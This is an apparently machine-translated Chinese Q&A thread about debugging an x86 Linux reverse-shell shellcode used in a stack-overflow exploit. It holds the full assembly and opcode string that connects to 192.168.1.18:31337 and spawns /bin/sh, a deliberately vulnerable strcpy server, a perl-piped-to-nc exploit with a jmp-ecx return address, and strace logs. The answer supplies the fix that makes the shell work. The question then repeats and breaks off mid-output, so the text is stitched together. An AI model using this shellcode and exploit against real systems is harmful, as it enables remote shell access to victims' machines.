这个 shellcode 让人头疼
This shellcode and headache
下午好。我一直在寻找这个 shellcode 发生了什么。这是汇编代码:
add esp, 0x3c
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 102 ; __NR_socketcall
inc bl ; socket
push ecx
push 0x6 ; IPPROTO_TCP
push 0x1 ; SOCK_STREAM
push 0x2 ; AF_INET
mov ecx, esp
int 0x80 ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov esi, eax ; esi = socket descriptor
mov al, 0x66 ; __NR_socketcall
mov bl, 0x2
push 0x1201a8c0 ; addr =
push word 0x697a ; port = 31337
push bx ; AF_INET
inc bl
mov ecx, esp
push 0x10
push ecx
push esi
mov ecx, esp
int 0x80
xor ecx, ecx
mov cl, 3
bucle:
dec cl
mov al, 0x3f
int 0x80
jne bucle
xor eax, eax
push edx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push edx
push ebx
mov ecx, esp
push edx
mov edx, esp
mov al, 0xb
int 0x80
开头的add esp,0x3c是为了避免shellcode自己覆盖。
它与 nasm sc.asm 一起工作,使用 xxd 获取操作码并使用此 C 代码执行它:
#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66" \
"\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89" \
"\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68" \
"\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53" \
"\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1" \
"\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f" \
"\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f" \
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52" \
"\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";
void main()
{
void (*fp)();
fp = (void*) &shellcode;
fp();
}
屏幕 1:
arget@kali:~/exploiting/remote$ ./prueba
屏幕 2:
arget@kali:~/exploiting/remote$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50026
whoami
arget
exit
sent 12, rcvd 6
arget@kali:~/exploiting/remote$
但是利用这个其他代码情况发生了变化:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int vuln(char* arg, int newsockfd)
{
int n;
char vul[128];
strcpy(vul, arg);
n = write(newsockfd, vul, strlen(vul));
return n;
}
void shell()
{
__asm__("jmp *%ecx");
}
void error(const char *msg)
{
perror(msg);
exit(1);
}
int main(int argc, char **argv)
{
int sockfd, newsockfd, portno;
socklen_t clilen;
char buffer[256];
struct sockaddr_in serv_addr, cli_addr;
int n;
if(argc < 2)
{
fprintf(stderr, "ERROR, no se ha indicado puerto\n");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
error("ERROR al abrir el socket");
bzero((char*) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if(bind(sockfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR en bind()");
listen(sockfd, 5);
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr*) &cli_addr, &clilen);
if(newsockfd < 0)
error("ERROR en accept");
bzero(buffer, 256);
n = read(newsockfd, buffer, 255);
if(n < 0)
error("ERROR leyendo del socket");
printf("%s", buffer);
n = vuln(buffer, newsockfd);
if(n < 0)
error("ERROR escribiendo en el socket");
close(newsockfd);
close(sockfd);
return 0;
}
使用 gcc v.c -o v -z execstack 编译。用 gdb 分析它,我们可以在 vuln() 中看到它在 EBP 之前保留了 140 个字节,因此在 EIP 之前保留了 144 个字节。
我们还可以看到,在执行 ret ecx 的那一刻落在我们的缓冲区上。
使用 objdump -d v 我们获得了 jmp *%ecx
的地址:0x0804875c 我们可以用它来绕过 ASLR.
在攻击者机器上打开一个终端执行nc -lvvp31337我们可以继续攻击,在受害者计算机上我们执行堆栈溢出程序:./ v 1337,在攻击机上我们发送:
perl -e 'print "\x83\xc4\x3c\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xac\x1a\x9d\xf1\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 192.168.1.11 1337
在 "nc -lvvp31337" 控制台中,结果是这样的:
arget@kali:~$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50030
sent 0, rcvd 0
arget@kali:~$
连接确实在这里,但它莫名其妙地关闭了。
如果我们使用 "strace ./v 1337" 跟踪系统调用,攻击后的结果如下:
arget@kali:~/exploiting/remote$ strace ./v 1337
execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL) = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "7ELF[=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=]03[=13=]04[=13=][=13=][=13=]"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ) = 0
mprotect(0xb77bc000, 4096, PROT_READ) = 0
munmap(0xb7778000, 127778) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5) = 0
accept(3, {sa_family=AF_INET, sin_port=htons(60865), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
read(4, "101311120f63Qjjj1150160f3h00"..., 255) = 148
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7797000
write(4, "101311120f63Qjjj1150160f3h00"..., 148) = 148
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL) = 0xb88bf000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7768000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 6
fstat64(6, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 6, 0) = 0xb7748000
close(6) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 6
read(6, "7ELF[=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=]03[=13=]04[=13=][=13=][=13=]"..., 512) = 512
fstat64(6, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0xb759e000
mmap2(0xb7742000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x1a4000) = 0xb7742000
mmap2(0xb7745000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7745000
close(6) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb759d000
set_thread_area({entry_number:-1, base_addr:0xb759d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7742000, 8192, PROT_READ) = 0
mprotect(0xb77ab000, 4096, PROT_READ) = 0
mprotect(0xb778c000, 4096, PROT_READ) = 0
munmap(0xb7748000, 127778) = 0
getpid() = 1993
rt_sigaction(SIGCHLD, {0xb779ebc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32() = 1000
getppid() = 1991
brk(NULL) = 0xb88bf000
brk(0xb88e0000) = 0xb88e0000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbfbcbea8) = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, 0xb77ac6c0, 8192) = -1 ENOTCONN (Transport endpoint is not connected)
exit_group(0) = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$
好的,我们可以看到 shellcode 正在执行,并且在调用 //bin/sh 之前运行良好,它意外退出。
对比"prueba"开头的程序post,强调它们实现的系统调用几乎一样,看:
arget@kali:~/exploiting/remote$ strace ./prueba
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL) = 0x8656000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "7ELF[=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=]03[=14=]04[=14=][=14=][=14=]"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ) = 0
mprotect(0xb776c000, 4096, PROT_READ) = 0
munmap(0xb7728000, 127778) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL) = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "7ELF[=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=]03[=14=]04[=14=][=14=][=14=]"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ) = 0
mprotect(0xb7720000, 4096, PROT_READ) = 0
mprotect(0xb7701000, 4096, PROT_READ) = 0
munmap(0xb76bd000, 127778) = 0
getpid() = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32() = 1000
getppid() = 2027
brk(NULL) = 0xb89de000
brk(0xb89ff000) = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38) = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, "exit\n", 8192) = 5
exit_group(0) = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$
在"nc -lvvp31337"中:
arget@kali:~$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50779
exit
sent 5, rcvd 0
arget@kali:~$
有人知道问题出在哪里吗??
从您提供的 strace
输出中可以明显看出错误:
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
shellcode 在 fd 5
打开套接字,然后继续使用 fd 3
。发生这种情况是因为:
mov bl, 0x2
push 0x1201a8c0 ; addr =
push word 0x697a ; port = 31337
push bx ; AF_INET
inc bl
这部分将 bl
设置为 3
,稍后也将用于文件描述符。由于之前已将正确的 fd 保存到 esi
,您可以在 bucle
标签之前执行 mov ebx, esi
来修复它。
下午好。我一直在寻找这个 shellcode 发生了什么。这是汇编代码:
add esp, 0x3c
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 102 ; __NR_socketcall
inc bl ; socket
push ecx
push 0x6 ; IPPROTO_TCP
push 0x1 ; SOCK_STREAM
push 0x2 ; AF_INET
mov ecx, esp
int 0x80 ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov esi, eax ; esi = socket descriptor
mov al, 0x66 ; __NR_socketcall
mov bl, 0x2
push 0x1201a8c0 ; addr =
push word 0x697a ; port = 31337
push bx ; AF_INET
inc bl
mov ecx, esp
push 0x10
push ecx
push esi
mov ecx, esp
int 0x80
xor ecx, ecx
mov cl, 3
bucle:
dec cl
mov al, 0x3f
int 0x80
jne bucle
xor eax, eax
push edx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push edx
push ebx
mov ecx, esp
push edx
mov edx, esp
mov al, 0xb
int 0x80
开头的add esp,0x3c是为了避免shellcode自己覆盖。 它与 nasm sc.asm 一起工作,使用 xxd 获取操作码并使用此 C 代码执行它:
#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66" \
"\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89" \
"\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68" \
"\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53" \
"\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1" \
"\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f" \
"\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f" \
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52" \
"\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";
void main()
{
void (*fp)();
fp = (void*) &shellcode;
fp();
}
屏幕 1:
arget@kali:~/exploiting/remote$ ./prueba
屏幕 2:
arget@kali:~/exploiting/remote$ nc -lvvp31337 listening on [any] 31337 ... connect to [192.168.1.18] from kali [192.168.1.18] 50026 whoami arget exit sent 12, rcvd 6 arget@kali:~/exploiting/remote$
但是利用这个其他代码情况发生了变化:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int vuln(char* arg, int newsockfd)
{
int n;
char vul[128];
strcpy(vul, arg);
n = write(newsockfd, vul, strlen(vul));
return n;
}
void shell()
{
__asm__("jmp *%ecx");
}
void error(const char *msg)
{
perror(msg);
exit(1);
}
int main(int argc, char **argv)
{
int sockfd, newsockfd, portno;
socklen_t clilen;
char buffer[256];
struct sockaddr_in serv_addr, cli_addr;
int n;
if(argc < 2)
{
fprintf(stderr, "ERROR, no se ha indicado puerto\n");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
error("ERROR al abrir el socket");
bzero((char*) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if(bind(sockfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR en bind()");
listen(sockfd, 5);
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr*) &cli_addr, &clilen);
if(newsockfd < 0)
error("ERROR en accept");
bzero(buffer, 256);
n = read(newsockfd, buffer, 255);
if(n < 0)
error("ERROR leyendo del socket");
printf("%s", buffer);
n = vuln(buffer, newsockfd);
if(n < 0)
error("ERROR escribiendo en el socket");
close(newsockfd);
close(sockfd);
return 0;
}
使用 gcc v.c -o v -z execstack 编译。用 gdb 分析它,我们可以在 vuln() 中看到它在 EBP 之前保留了 140 个字节,因此在 EIP 之前保留了 144 个字节。
我们还可以看到,在执行 ret ecx 的那一刻落在我们的缓冲区上。
使用 objdump -d v 我们获得了 jmp *%ecx
的地址:0x0804875c 我们可以用它来绕过 ASLR.
在攻击者机器上打开一个终端执行nc -lvvp31337我们可以继续攻击,在受害者计算机上我们执行堆栈溢出程序:./ v 1337,在攻击机上我们发送:
perl -e 'print "\x83\xc4\x3c\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xac\x1a\x9d\xf1\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 192.168.1.11 1337
在 "nc -lvvp31337" 控制台中,结果是这样的:
arget@kali:~$ nc -lvvp31337 listening on [any] 31337 ... connect to [192.168.1.18] from kali [192.168.1.18] 50030 sent 0, rcvd 0 arget@kali:~$
连接确实在这里,但它莫名其妙地关闭了。 如果我们使用 "strace ./v 1337" 跟踪系统调用,攻击后的结果如下:
arget@kali:~/exploiting/remote$ strace ./v 1337
execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL) = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "7ELF[=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=]03[=13=]04[=13=][=13=][=13=]"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ) = 0
mprotect(0xb77bc000, 4096, PROT_READ) = 0
munmap(0xb7778000, 127778) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5) = 0
accept(3, {sa_family=AF_INET, sin_port=htons(60865), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
read(4, "101311120f63Qjjj1150160f3h00"..., 255) = 148
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7797000
write(4, "101311120f63Qjjj1150160f3h00"..., 148) = 148
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL) = 0xb88bf000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7768000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 6
fstat64(6, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 6, 0) = 0xb7748000
close(6) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 6
read(6, "7ELF[=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=][=13=]03[=13=]04[=13=][=13=][=13=]"..., 512) = 512
fstat64(6, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0xb759e000
mmap2(0xb7742000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x1a4000) = 0xb7742000
mmap2(0xb7745000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7745000
close(6) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb759d000
set_thread_area({entry_number:-1, base_addr:0xb759d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7742000, 8192, PROT_READ) = 0
mprotect(0xb77ab000, 4096, PROT_READ) = 0
mprotect(0xb778c000, 4096, PROT_READ) = 0
munmap(0xb7748000, 127778) = 0
getpid() = 1993
rt_sigaction(SIGCHLD, {0xb779ebc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32() = 1000
getppid() = 1991
brk(NULL) = 0xb88bf000
brk(0xb88e0000) = 0xb88e0000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbfbcbea8) = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, 0xb77ac6c0, 8192) = -1 ENOTCONN (Transport endpoint is not connected)
exit_group(0) = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$
好的,我们可以看到 shellcode 正在执行,并且在调用 //bin/sh 之前运行良好,它意外退出。
对比"prueba"开头的程序post,强调它们实现的系统调用几乎一样,看:
arget@kali:~/exploiting/remote$ strace ./prueba
